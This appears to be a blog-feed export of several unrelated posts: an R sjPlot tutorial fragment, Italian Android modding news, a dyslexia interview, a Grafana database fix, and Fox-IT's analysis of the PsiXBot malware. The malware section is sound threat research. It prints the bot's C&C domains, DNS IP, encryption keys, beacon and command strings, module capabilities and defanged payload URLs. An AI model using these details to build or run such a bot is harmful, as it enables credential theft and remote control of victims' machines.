Since the functions in sjPlot support labelled data, you see both values and associated value labels in the output, as well as different NA-values, so called tagged NA’s (which are often used in SPSS or Stata, less in R, though). Tagged NA’s can also have value labels (e.g. „unknown“, „no answer“ etc.), however, in the above example, the tagged NA-values have no value labels. 
Finally, for numeric (continuous) variables that are not labelled, these typically span over a larger range. In such cases, printing all values is not very informative, so view_df() prints the range of these variables instead. 
Adding more information to the codeplan
view_df() offers many options, e.g. to add the frequencies of values, the amount of missing values per variable, or even weighted frequencies. 
# show many information...
view_df(
  ess[, c(1,2,6,8,149,151,532)], 
  show.na = TRUE, 
  show.type = TRUE, 
  show.frq = TRUE, 
  show.prc = TRUE, 
  show.string.values = TRUE, 
  show.id = TRUE 
)
 
  
Non-labelled data sets
Of course you can also use non-labelled data with this function… 
# works with non-labelled data as well, of course...
view_df(iris, show.frq = TRUE, show.type = TRUE)</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://strengejacke.github.io/sjPlot</link><link>https://strengejacke.github.io/sjlabelled/articles/intro_sjlabelled.html#missing-values</link><link>https://www.europeansocialsurvey.org/download.html?file=ESS8e02_1&amp;y=2016</link></links><tags><tag>We do wie du</tag><tag>labelled data</tag><tag>R</tag><tag>rstats</tag><tag>SPSS</tag><tag>Statistik</tag></tags><images /><indexedAt>2019-03-27T15:37:22Z</indexedAt><publishedAt>2019-03-27T15:36:52Z</publishedAt><reindexedAt>2019-03-27T15:37:22Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>13965610972657550529</blogId><blogName>Strenge Jacke!</blogName><blogUrl>https://strengejacke.wordpress.com</blogUrl><blogRank>2</blogRank><authority>25</authority></post><post><id>2533347577821570343</id><author>Vincenzo Ronca</author><url>https://www.androidworld.it/2019/03/27/voglia-personalizzare-la-vostra-miui-10-basata-pie-modulo-xposed-cercate-foto-621714/</url><title>Voglia di personalizzare la vostra MIUI 10 basata su Pie? Ecco il modulo Xposed che cercate (foto)</title><text>La MIUI è la personalizzazione di Android concepita e sviluppata da Xiaomi per i suoi dispositivi. Coloro che hanno installato la versione 10 su Android Pie possono contare su un nuovo strumento di modding per personalizzarla secondo le proprie esigenze. Lo strumento consiste in un modulo Xposed chiamato CustoMIUIzer, sviluppato da un Senior Member di XDA. Come potete vedere dagli esempi riportati nella galleria in basso, il modulo offre diverse mod mediante le quali personalizzare gli aspetti grafici dell’interfaccia della MIUI 10: parliamo di separare i controlli volume per le diverse categorie di notifica, disabilitare l’accensione del display alla carica, disabilitare il menù power nella schermata di blocco e molto altro. LEGGI ANCHE: Xiaomi Mi9, la recensioneIl modulo necessita dell’installazione dello strumento EdXposed (maggiori dettagli a questo indirizzo). Per ulteriori indicazioni sulla procedura d’installazione vi rimandiamo al thread ufficiale ospitato sul forum di XDA.  
                    
                        
                            
                                
                            
                        
                        
                            
                                2
                                
                                    
                                    vai alla fotogallery
                                
                            
                        
                        
                          
                        
                    
                
L'articolo Voglia di personalizzare la vostra MIUI 10 basata su Pie? Ecco il modulo Xposed che cercate (foto) sembra essere il primo su AndroidWorld.</text><languageCode>it</languageCode><locationCode>it</locationCode><coordinates /><links><link>https://www.github.com/ElderDrivers/EdXposed</link><link>https://forum.xda-developers.com/xposed/modules/mod-customiuizer-customize-miui-rom-t3910732</link></links><tags><tag>Modding</tag><tag>MIUI</tag><tag>MIUI 10</tag><tag>permessi di root</tag><tag>Xiaomi</tag><tag>xposed</tag></tags><images /><indexedAt>2019-03-27T16:37:00Z</indexedAt><publishedAt>2019-03-27T15:34:44Z</publishedAt><reindexedAt>2019-03-27T16:37:00Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>18350645880299279644</blogId><blogName>AndroidWorld</blogName><blogUrl>https://www.androidworld.it</blogUrl><blogRank>3</blogRank><authority>22</authority></post><post><id>17708878083789456437</id><author>Evelina AvalinahsBooks</author><url>http://avalinahsbooks.space/the-life-of-a-bookworm-with-dyslexia-an-interview/</url><title>The Life Of A Bookworm With Dyslexia – An Interview</title><text>Today we will be talking about something different, and definitely not something a lot of people consider to be a part of the life of a bookworm – dyslexia. But it can be! And so today I have a fellow bookworm and book blogger here, to talk about her experience with dyslexia and how she nonetheless pursued her hobby of reading and what helped her along the way. Not only do I think this is a very interesting topic to talk about on a book blog – I also hope that it will be able to help others like Jen, or perhaps readers whose children might have dyslexia. 
So let’s start! I am going to ask Jen some questions about her experience of dyslexia. Personally, I know almost nothing about the condition because it’s not talked about a whole lot (in my opinion, it’s not talked about enough.) So I will be very curious about her answers. But keep in mind that this is only Jen’s experience, and she can’t talk about everyone else, because like many things, dyslexia experiences can be very diverse. So we are only trying to spread awareness! 
So Jen, thank you so much for joining me here for this post. First of all, could you introduce yourself and your book blog? How long have you been a bookworm and book blogger and what are your motivations for reading and blogging?
Hello! I’m a 30 something girl living in Edinburgh who once loved books. As a kid, you could either find me holed up in a small corner of the library trying to figure out how I could take another book out whilst I still had three on loan, or in my bunk bed fort (equipped with well-balanced torches for dramatic lighting) re-reading the dog-eared books which I held close to my heart. 
 
A GIF from the movie Matilda, of her laughing while reading a book 
Then I grew up. I couldn’t focus on reading and my mind was in overdrive. My bookshelves grew bare and reading became a fond memory of childhood until I was diagnosed with dyslexia and scotopic sensitivity. After that, books became a nightmare. 
I started posting bite-sized reviews Instagram Stories (I have a very short attention span so things need to be short and snappy) and a few people mentioned they enjoyed the style. After a few beers, shitbookreviews.com was born and now I’m on a mission to claim back my love of books (and perhaps encourage others like me to start reading again), one short, shit review at a time. 
Hahaha! I love the name. And I’m sure they’re not even shit reviews! I like the sound of short and snappy. We all have the attention span of a goldfish these days, so much so that I worry my reviews are much too long. Anyway, next up, I would of course like to ask you about your experience of dyslexia. What’s your story? When did you find out about it and how did it all start out?
I grew up in a small, rural town where a lot of learning disabilities weren’t picked up unless they were severe. I managed to get through most of primary school and was an avid reader throughout my time there, but things changed when I hit 11/12. I wish I knew why but perhaps it was something to do with the books you read as you get older – the typefaces get smaller and the chapters get much, much longer. Whatever it was, I couldn’t concentrate anymore, started to see patterns between the words, my brain would flip words around and niggling headaches started to appear. I imagine those things have always been with me but, with kids books, they’re not as prominent and teenage me didn’t think it was worth the hassle so my bookshelves became empty. 
 
An animated GIF of words moving about the page as worms 
High school was the killer though. Once you’ve been repeatedly called lazy when you’ve actually been trying so damn hard, it quickly takes its toll and you start to believe you’re just an idiot. I also actively started to write smaller and kept the letters close together so teachers couldn’t see the mistakes. When most people would fill 4 pages (front and back) of words, I’d get mine all on to one sheet and then dread getting the results back. I’d avoid reading out loud in class and don’t even get me started on my inability to study for exams – I’d stare at bits of paper for hours and make zilch in the way of progress even if I knew the subject inside and out. I floated my way through school where I tried to avoid subjects which involve words and maths. Doesn’t leave you with a lot! 
It took until my last year of my second (note that the first place didn’t pick it up either) college where they did some proactive screening for learning disabilities and I was finally diagnosed at the age of 21 with dyslexia and scotopic sensitivity. The weight that was lifted from my shoulders was unreal. That year I was allowed to type up all my final exams on a pc rather than depend on pen and paper. 
That sounds dreadful. I’m so glad to hear you were diagnosed, even though it happened relatively late. Which is why I want to ask – could you try to describe how having dyslexia feels and how it affects you? I’ve heard a lot about what the end result of dyslexia is: it’s hard or even impossible to read. But what I’ve always wondered about is – how? Is it headaches, or is it a wandering mind? I’ve even heard that it can be as if the letters themselves are moving around. Would you describe what it feels like for you?
Everyone has different levels of severity so people will have different things that affect them. For me, two things cause me the most amount of grief –concentration issues and the words in general. I’ll start with concentration. It doesn’t matter how much I’m enjoying something, my brain wanders and it’s really, really bloody annoying. When it comes to books, I try to avoid super long ones (I aim for no longer than 500 pages) as I’ll just never finish them. It took me over a year to finish The Passage and it wasn’t even worth the slog haha. 
The words themselves are also a nuisance which is a pretty big bummer when it comes to reading. If I were to read black words on a white background, my eyes would be drawn to the space between the lines instead of the text and then follow the patterns all over the page. Another thing my brain likes to do is plonk whatever it thinks should be there instead of what’s written down. It’s almost like it’s trying to make up its own story instead of going with the flow of the author’s. 
Wow, I’ve never heard that bit about the white space – but it totally makes sense that someone’s brain could also prioritize the white stuff, and not the black stuff on the page. But I never thought of it like that! Anyway, I know that it’s not only dyslexia that you have, but an accompanying condition as well. How common are those and how can they affect someone? Do a lot of people find out about them early in life, or do they spend years just wondering what’s up?
I mentioned it a little bit earlier on, but yeah I’ve also got scotopic sensitivity which is otherwise known as Irlen Syndrome. It’s a perceptual processing disorder and it can cause distortion of words and glare which is a nightmare for reading and writing. Irlen UK claims that around 15% of the population has it, but because the NHS doesn’t classify it as a medical condition, a lot of people have no idea it’s even a thing. 
As far as I’m aware, this is the main thing that killed my love of books. When you’ve got words wiggling around a glaring and headache-inducing bit of paper, you’re going to put that bit of paper away. 

#BookBlogger @CensoredPixel on her dyslexia and scotopic sensitivity: When you’ve got words wiggling around a glaring and headache-inducing bit of paper, you’re going to put that bit of paper away. Click To Tweet  

Makes perfect sense. So then, we know now that you DO read, and not only that – you blog about books as well. How do you manage, in light of all the obstacles? Did you have to come up with some unique solutions, or were they suggested by your doctor? What are the things that enable you to read? And which of these helps the most?
I think I had a moment one day when I was a bit like WTF Jen and, as horiffically cringy as it’s going to sound, I didn’t want to miss out any more because I had a slightly wonky brain. I decided to make some changes and adapt. I dug out my Kindle, got a typeface from opendyslexic.org whacked onto it and made sure the background was an off-white. I also asked a few of my friends for recommendations so I fell in love with the story rather than dreading another chapter. 
 
An image of the open dyslexic font on the kindle, borrowed from Jen’s own blog post here 
The other biggest thing for me was that I got off my ass and made an appointment for colourimetry. It’s something I put off for the LONGEST time because it can quickly add up in costs and I was skint when I got diagnosed. This is a process where they optometrist puts different colours onto text to see which one works for you. Once you’ve got your colour, they’ll work out how intense you need it to be and get that specific colour put into glasses. Turns out mine is a very dark pinky purple and now I look like I’m being dramatic and wearing sunglasses inside haha. I picked them up last week and, while they’ll take a chunk of time to get the courage to wear in the office, they make a massive difference when holding a physical book. Maybe one day I’ll make a dent in my physical TBR pile… 
Audiobooks have also been a bit of a gamechanger for me as well. If reading is still a struggle, then I wouldn’t recommend punishing yourself – you’ll only resent the books in the end. Whilst there are some ladeedaa-books-must-be-in-the-physical-form-or-its-not-a-book twats out there, it’s still a book at the end of the day. I usually have two books on the go – one on my Kindle and the other in my ears. An audiobook can be a saviour if your brain isn’t playing ball that day. Also it’s kinda nice when the narrator does the voices – it’s like having a mini play happening in your head. 
Agreed! Dyslexia or not, I think more people should make use of audiobooks or text to speech – it’s very enabling, and since most of us work desk jobs in front of screens, it’s also good for our eyes. 
Anyway, I’m really glad to know there are solutions. However, are they always equally effective? Or do you have days when it doesn’t really help? Like when you’re extra tired and such? Do the surroundings affect your reading a lot?
If I’m knackered or just generally struggling, I won’t read. I know what I’m like and I’d end up skipping chunks or reading it but not taking any of it in. I do need quiet to read though and my bus home from work is usually filled with people who’ve turned their vocal volume up to 11 so I usually throw on some electronic music (or anything with no lyrics) and some noise cancelling headphones. If I’m at home, I’ll slink off into the study where I can close the door to the dulcet wails of Netflix from the living room. 
At the end of the day, I’m a slow reader and it’s perfectly fine to go at a snail’s pace if that what works for you. I don’t put out that many posts for that very reason. I’m not going to speed through a book and miss out half of the plot just because it’s the norm. 

The life of a bookworm with #dyslexia – an interview: @censoredpixel, a #bookblogger with dyslexia, tells us how it feels to read when you... Can't quite do it: Click To Tweet  

Do you personally think dyslexia is a commonly and easily diagnosed condition, or do you feel like due to a lack of awareness a lot if people actually suffer in silence?
I’m not entirely sure what the process is these days in schools as it’s, uh, been quite some time since I was there, but I’d like to think that technology is perhaps wiggling its way into the classrooms. That being said, teachers in the UK (and the world in general) are massively overworked and I’m honestly not surprised that things like this get missed. There’s definitely still a stigma when it comes to dyslexia and I tend to keep it to myself to avoid the judging eyes being cast my way. 
The funny thing is, is now I’ve started talking about it openly, I’ve had a few people drop my DMs to say they’ve had the same experiences. 
What are some things you’d like to tell others who think they might have dyslexia, or who think their kids might? What are the questions you should ask yourself or your doctor, if you are harboring theories, but aren’t quite sure?
Get it checked and don’t doubt your kids if they’re saying they’re struggling. Doctors will test you, or your kids, for any physical reasons why you/they might be struggling, but they’ll most likely sent you to speak to a dyslexia organisation. For example, in the UK we’ve got the British Dyslexia Association and you can do online tests with them for a small fee. If you’ve got kids in school who you think might be dyslexic, speak to their teacher. The school will most likely have specialists who’ll come into the school and run through the test for free. Some places won’t test adults (I’ve no idea why) so you can run through a free self-assessment instead. 

Here are some things you could do if your child likes reading but has been experiencing trouble lately, and you have your suspicions – from a bookworm with #dyslexia: Click To Tweet  

And would you say anything to your teachers and classmates now, if you had the chance to go back in time? Do you think there could have been things they might have said or done differently that could have helped you? I ask because a lot of readers of my blog might be teachers or librarians and could be in a position to help someone, if they knew how.
I used to hold a massive grudge against my school. All I wanted to do was find my teachers and hold out my degree (they told me not to bother with university) along with my CV to prove just how wrong they were. 
These days, I just wish I could have got them to sit down with me for 30 mins and ask me what I was struggling with instead of writing me off as being lazy. At the same time, I realise that’s a lot to ask for when they’ve got 30 other kids per class to deal with as well as planning for lessons. My asks would be patience, access to colour overlays and to keep an eye out for the kid who’s losing interest in something they used to love. 
And finally, what are some resources you would personally recommend, if someone wanted to learn about dyslexia and its accompanying disorders whether it’s for yourself or your loved ones?
dyslexia.com has a lot of excellent stuff in it and if you want to see what having dyslexia looks like, this might be a little eye-opening: 
 
A GIF of what regular text looks like for a dyslexic person – the letters are moving about in the words 
I am very happy to have been able to talk to Jen today about dyslexia. You can learn more about her experience from her post here, and you can always ask about anything you’re curious about in the comments! 
How much do you know about dyslexia? And have you ever met anyone with this condition?
 The post The Life Of A Bookworm With Dyslexia – An Interview appeared first on AvalinahsBooks.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.shitbookreviews.com/</link><link>https://www.goodreads.com/book/show/6690798-the-passage</link><link>https://www.shitbookreviews.com/dyslexia-books</link><link>https://www.bdadyslexia.org.uk/screening</link><link>https://www.dyslexiaida.org/dyslexia-test</link><link>http://www.dyslexia.com/</link><link>https://geon.github.io/programming/2016/03/03/dsxyliea</link><link>https://www.shitbookreviews.com/dyslexia-books</link><link>https://www.addtoany.com/add_to/facebook?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/twitter?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/google_plus?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/pinterest?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/tumblr?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/reddit?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/email?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/google_gmail?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/add_to/kindle_it?linkurl=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;linkname=The Life Of A Bookworm With Dyslexia – An Interview</link><link>https://www.addtoany.com/share#url=http:%2F%2Favalinahsbooks.space%2Fthe-life-of-a-bookworm-with-dyslexia-an-interview%2F&amp;title=The Life Of A Bookworm With Dyslexia – An Interview</link></links><tags><tag>#bookwormproblems</tag><tag>Book blogging</tag><tag>Discussion</tag><tag>Illness</tag></tags><images /><indexedAt>2019-03-27T15:56:00Z</indexedAt><publishedAt>2019-03-27T15:33:37Z</publishedAt><reindexedAt>2019-03-27T15:56:00Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2483577927356228878</blogId><blogName>AvalinahsBooks</blogName><blogUrl>http://avalinahsbooks.space</blogUrl><blogRank>3</blogRank><authority>90</authority></post><post><id>4841378110013388461</id><author>@bcohee Bcohee</author><url>https://community.grafana.com/t/dashboard-schemaversion-ha-migration-issue/15756/2</url><title>Dashboard schemaVersion HA migration issue</title><text>btw - anyone that runs into a similar problem, just adding the UIDs to the dashboards that were saved with UI v4.1.1 while using DB from v5.4.3 was enough to get the dashboards to load from the UI again. 

  
      github.com
  
  
    grafana/grafana/blob/v5.4.3/pkg/services/sqlstore/migrations/dashboard_mig.go#L158



	// add column to flag if dashboard has an ACL
	mg.AddMigration("Add column has_acl in dashboard", NewAddColumnMigration(dashboardV2, &amp;Column{
		Name: "has_acl", Type: DB_Bool, Nullable: false, Default: "0",
	}))


	mg.AddMigration("Add column uid in dashboard", NewAddColumnMigration(dashboardV2, &amp;Column{
		Name: "uid", Type: DB_NVarchar, Length: 40, Nullable: true,
	}))


	mg.AddMigration("Update uid column values in dashboard", NewRawSqlMigration("").
		Sqlite("UPDATE dashboard SET uid=printf('%09d',id) WHERE uid IS NULL;").
		Postgres("UPDATE dashboard SET uid=lpad('' || id,9,'0') WHERE uid IS NULL;").
		Mysql("UPDATE dashboard SET uid=lpad(id,9,'0') WHERE uid IS NULL;"))


	mg.AddMigration("Add unique index dashboard_org_id_uid", NewAddIndexMigration(dashboardV2, &amp;Index{
		Cols: []string{"org_id", "uid"}, Type: UniqueIndex,
	}))


	mg.AddMigration("Remove unique index org_id_slug", NewDropIndexMigration(dashboardV2, &amp;Index{
		Cols: []string{"org_id", "slug"}, Type: UniqueIndex,



  
  
    
    
  
  


grafana=&gt; CREATE TABLE dashboard_backup_20190327 AS TABLE dashboard;

grafana=&gt; UPDATE dashboard SET uid=lpad('' || id,9,'0') WHERE uid IS NULL;</text><languageCode>en</languageCode><locationCode>br</locationCode><coordinates /><links><link>https://www.github.com/grafana/grafana/blob/v5.4.3/pkg/services/sqlstore/migrations/dashboard_mig.go#L158</link><link>https://www.github.com/grafana/grafana/blob/v5.4.3/pkg/services/sqlstore/migrations/dashboard_mig.go#L158</link></links><tags /><images /><indexedAt>2019-03-27T15:56:47Z</indexedAt><publishedAt>2019-03-27T15:32:05Z</publishedAt><reindexedAt>2019-03-27T15:56:47Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1346538364656042547</blogId><blogName>Grafana Community - Latest posts</blogName><blogUrl>https://community.grafana.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15691073979854500357</id><author>maartenvandantzigfoxit</author><url>https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/</url><title>PsiXBot: The Evolution Of A Modular .NET Bot</title><text>PsiXBot: The Evolution Of A Modular .NET Bot
Summary
In this blog we will share our analysis of a modular piece of malware which is referred to by the author as PsiXBot. The malware first surfaced in 2017 but has recently undergone significant developments of its core and modules, which include the logging of keystrokes and stealing of Outlook and browser credentials. With these new developments done and the first large scale distributions observed in the wild, PsiXBot has officially made its debut in the malware ecosystem. 
Introduction
Fox-IT actively monitors cyber criminal activity on a daily basis in order to proactively identify threats that are relevant to our customers. On the 21th of February 2019 we noticed SmokeLoader, a popular bot used to install additional malware on infected machines for a fee, push a task in order to distribute a .NET malware sample. Further research on the sample revealed a bot with a modular nature and capabilities, such as stealing data from infected hosts as well as receiving download &amp; execute tasks. Our interest was further peaked when the Spelevo Exploit Kit started distributing the same malware on the 16th of March at which point we decided to further investigate this piece of malware, resulting in the findings below. 
Having seen it evolve since 2017 to now getting out from beta versioning, we observe its being distributed by multiple infection vectors, such as exploit kits and malware loaders. 
Analysis
During routine threat research activity, we stumbled upon a tweet on what seemed to be an early version of the malware known as PsiXBot. In the same Twitter thread a link was also shared to a very early version of that same malware. 
An overview of the versions are found below: 

Mid 2017: First version spotted in the wild (SHA256: d2ee07bf04947cac64cc372123174900725525c20211e221110b9f91b7806332);
August 2018: Updated version spotted (SHA256: ce0e46fa1c5b463ed4a070a05594a79203ed2dd5df96cece9f875e2957fda4fa);
Early 2019: The latest version is now being distributed via different infection vectors (SHA256: ca30c42334fcc693320772b4ce1df26fe5f1d0110bc454ec6388d79dffea4ae8).

The illustration below displays the code structure of the versions: the first version to the left and the most recent one to the right. 
 
Note that the name PsiX is derived from the name of the assembly. Taking a look to the PDB path, the same naming is again present: G:\WORK\MONEY\BOT\NoName\PsiX\obj\Release\NoNameBot.pdb 
Additionally, taking a look at the sample displayed in the center of the image above, the name “Radius” can be spotted as well. Part or whole name can be also observed among the C&amp;Cs such as: radcall.bit, radbot.bit and rrradiusspace.bit. 
The differences we observed across the versions are mostly: 

New commands supported by adding different modules;
Encryption of the strings with AES;
Version number updated from Beta 1.0.0 to 1.0.1.

The analysis below is centered on the most recent version. 
As you could have already seen, the malware is written in .NET and it is not obfuscated. Typically it’s distributed within a dropper which hides the main payload. Once executed the Main() function is invoked. It first verifies that it is the only running instance by looking to a hardcoded mutex (for the sample analyzed: gfdhfyf543543cdsdfsdf), then it executes a loop to mimic sleep function before activating. 
Most of the strings are encrypted with AES by a hardcoded string key. For this sample the key is: 1243hewqr8n1220g321&amp;^*&amp;^Tb0 
The malware also checks the language settings of the victim, if the language is set to ru-RU (Russian) the malware will exit. For all other language settings the malware will continue its malicious activity. 
An additional check is relating the filename to ensure it is matching the one configured. In instances where it is not, it proceeds with the installation process, which is done by invoking the CopyEx method via WMI and invoking the copied binary again via WMI. The installation path is: Local\Microsoft\.exe in the %APPDATA% folder. 
After the installation the malware contacts the configured C&amp;Cs, that are initialized by the following code: 

public static string[] valid = new string[]
{
    "pppoe.bit",
    "weather0.bit",
    "mygranny.bit",
    "six6.bit",
    "learncpp.bit"
};

In order to communicate with the .bit domains it uses hardcoded DNS servers (193.37.213.223 for the sample used in this analysis). Upon the DNS resolution, it sends a ping to the C&amp;Cs in order to identify the first one that is up. 
The bot reports to its C&amp;C some information gathered from the infected host. An example of the string used in the request is: 

action=call&amp;user_name=john&amp;bot_id=D63BAFF79F3A3504C70DC3298EE74C68&amp;av=N/A&amp;os_major=Microsoft Windows 7 Home Basic N &amp;permissions=User&amp;os_bit=64&amp;cpu=Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz&amp;gpu=Standard VGA Graphics Adapter&amp;ram=2048&amp;hdd=C:12345/67890&amp;version=1.0.1&amp;user_group=Admin&amp;pc_net=4.0

The meaning of the parameters are: 

action: the purpose of the request;
user_name: username of the victim’s host;
bot_id: unique string to identify the infected host;
av: name of the AntiVirus software installed;
os_major: name of the OS installed;
permissions: username’s permissions;
os_bit: OS architecture;
cpu: CPU model;
gpu: GPU model;
ram: RAM available;
hdd: HDD Serial Number;
version: version number of the malware (latest one is 1.0.1);
user_group: User group name the username is part of;
pc_net: version of .NET framework installed.

The data transfer is encrypted with RC4 using a hardcoded key which for this sample is 63a6a2eea47f74b9d25d50879214997a. It is interesting to note that the author encrypted most of the strings, except the RC4 encryption key, C&amp;Cs and DNS servers which are in plain-text. 
The C&amp;C answers with a JSON string, like the following one: 

{
    result_code: [
        {
            "result_code": "200",
        }
    ]
}

If the server returns a valid response, the malware sleeps for 95 seconds before requesting a new command to execute. This is done by sending the data: 

action=command&amp;bot_id=D63BAFF79F3A3504C70DC3298EE74C68

An example of a response is the following one: 

{
  "result_code": [
    {
      "result_code": "200"
    }
  ],
  "commands": [
    {
      "command_id": "1485",
      "command_action": "GetSteallerPasswords",
      "command_data": "",
      "command_arg": ""
    },
    {
      "command_id": "1486",
      "command_action": "StartSchedulerModule",
      "command_data": "",
      "command_arg": ""
    }
  ]
}

In the example above the C&amp;C asks for the execution of two commands. The command_action value is the exact name of the method that must be invoked. The malware will resolve the method dynamically in accordance to this value. In order to avoid hardcoded strings, the author implemented an easy way to upgrade the malware: if the method name sent by the C&amp;C is not present in the malware during execution, the method/call is simply ignored. 
For one particular method invocation the malware uses a type named SukaBlyat, which is an offensive term used as Russian slang. 
The two received commands are used in order to ask the C&amp;C server for additional modules. The data transfered requesting the module is: 

action=module&amp;bot_id=D63BAFF79F3A3504C70DC3298EE74C68&amp;module_action=SchedulerModule

Subsequently, the module is downloaded and executed, while sending the following command: 

action=result&amp;command_id=1485&amp;command_result=6E756C6C

The commands currently supported are: 

Download
DownloadAndExecute
Execute
GetInstalledSoft
GetKeylogs
GetOutlook
GetProcessesList
GetScreenShot
GetSteallerCookies
GetSteallerPasswords
StartAndroidModule
StartBTC
StartComplexModule
StartKeylogger
StartNewComplexModule
StartSchedulerModule
StopProcess

Modules
The modules available for this recent version of the bot are: 

BrowserModule (assembly name stMod.exe): used to dump passwords or cookies from a variety of browsers as well as from FileZilla FTP client. It accepts an argument to specify which is the data to be dumped: -passes for the password or -cookies for the cookies. The program returns a string with all the stolen information. It seems to be based on the QuasarRAT project; 


BTCModule (assembly name LESHI.exe): accepts an argument and a cryptocurrency address. The supported address types are: -btc, -ether, -ltc, -monero and -ripple. Once such an address is configured, the program proceeds to monitor the clipboard every 3 seconds and verifies if the copied text is a valid address and of which type. If the check is successful the malware replaces the text with one of the configured wallet addresses; 


ComplexModule (assembly name Client.exe): an old version of the open source rat QuasarRAT. In particular the xclient string (which is part of this module namespace) was present in a fork from 2016 (see https://github.com/GeekGalaxy/QuasarRAT). Also within the decompiled source code we retrieved the type name QuasarClient; 


KeyLoggerModule (assembly name KeyLoggerModule.exe): uses the SetWindowsHookEx API in order to set a global hook and intercept keystrokes. The intercepted keys are saved in a file named Logger.log; 


NewComplexModule (assembly name RemoteClient.exe): implements a remote desktop like program. It allows streaming the desktop user, interacting with it and starting the browser. The code does not seem to be anything publicly available; 


OutlookModule (assembly name OutlookPasswordRecovery.dll):  dumps the Outlook passwords and returns a string with the information retrieved. 


SchedulerModule (assembly name Scheduler.exe): used to ensure persistence. It just creates a scheduled task to run the bot each 60 seconds. 


Distribution
Typically, there are two ways of spreading such a strain of malware: infecting new unwitting victims and leveraging existing compromised systems. Fox-IT observes the PsiXBot actors are able to do both – delivering their malware via malspam campaigns or exploit kits (such as the Spelevo Exploit Kit) as well as using services offered on underground markets to load malware on (pre-infected) devices such as SmokeLoader. 
SmokeLoader
The SmokeLoader bot from which we received the task to distribute the PsiXBot malware was configured with the below metadata: 

server_rc4_key_recv     e097b3a6
server_rc4_key  40e5223b
bot_version     2018
seller  new1

c&amp;c    http://5gssghhs2w.org/2/
c&amp;c    http://dvhwzq.ru/2/
c&amp;c    http://hdxaet.ru/2/
c&amp;c    http://hghwwgh6.info/2/
c&amp;c    http://jdcbhs.ru/2/
c&amp;c    http://kdcbst.ru/2/
c&amp;c    http://kkted54d.ru/2/
c&amp;c    http://si3213gher.com/2/
c&amp;c    http://vshmesz.com/2/
c&amp;c    http://vygxxhh.bit/2/

The distribution URL sent by SmokeLoader‘s task is: 
hxxp://favoritfile.in/7-8.exe 
From the referenced distribution URL we managed to download the sample with SHA256: 9b8c0c82fe79ae15e0f723d6aa267d38d359a7260613a091a2d70d770488e919 
The C&amp;Cs of this sample are: 

myauto.bit
sokoban.bit

Spelevo Exploit Kit
With regards to the Spelevo Exploit Kit, the sample distributed is identified by SHA256: ca30c42334fcc693320772b4ce1df26fe5f1d0110bc454ec6388d79dffea4ae8 
The C&amp;C servers of this sample are: 

learncpp.bit
mygranny.bit
pppoe.bit
six6.bit
weather0.bit

Another distribution vector observed is spam mailings. One of the spam campaigns we managed to identify is Italian themed, with the following metadata: 

Receiver    from pecfe04.sogei.it (pecfe04.sogei.it [26.2.42.237]) by PECP-BE02 (lmtpd) with LMTP id 28663.002; Tue, 8 Jan 2019 16:22:51 +0100 (CET)
Receiver    from PECP-FE04 ([127.0.0.1]) by pecfe04.sogei.it (Dovecot) with LMTP id 474fM6e/NFysCAAAxEz/xA ; Tue, 08 Jan 2019 16:22:51 +0100
Receiver    from mx.pec.sogei.it (localhost [127.0.0.1]) by smtps.pec.sogei.it (Postfix) with ESMTP id 43YwxQ6pm5zgYCT for ; Tue, 8 Jan 2019 16:22:50 +0100 (CET)
Receiver    from smtps.pec.aruba.it (smtpecgo01.pec.aruba.it [80.88.94.21]) by mx.pec.sogei.it (Postfix) with ESMTPS for ; Tue, 8 Jan 2019 16:22:50 +0100 (CET)
Receiver    from avvocatismcv.com (ipvspec1.pec.ad.aruba.it [62.149.152.1]) by smtps.pec.aruba.it (Postfix) with ESMTPSA id 43YwxQ2V8Sz2L7hcc; Tue, 8 Jan 2019 16:22:50 +0100 (CET)
Reply-To    luigi.ferrandino@avvocatismcv.com
Return-Path     luigi.ferrandino@avvocatismcv.com
Attachments     ["daticert.xml", "Nuovi_contratti_2019__145038.zip", "smime.p7s"]
Number_of_attachments   3
Date    2019-01-08 15:22:50 (UTC)
To  ["luigi.ferrandino@avvocatismcv.com"]
From    "Per conto di: luigi.ferrandino@avvocatismcv.com" 
Subject     POSTA CERTIFICATA: Re: Notificazione ai sensi della legge n. 53 del 1994

The zip contained a JavaScript (SHA256: e4006cde4a96048ff25727459abfae0ffd37985d04581793be784d7cf50e32d7) which, once executed, tried to fetch the next stage from the following URL: 
hxxp://img.martatovaglieri.it/index?83836 
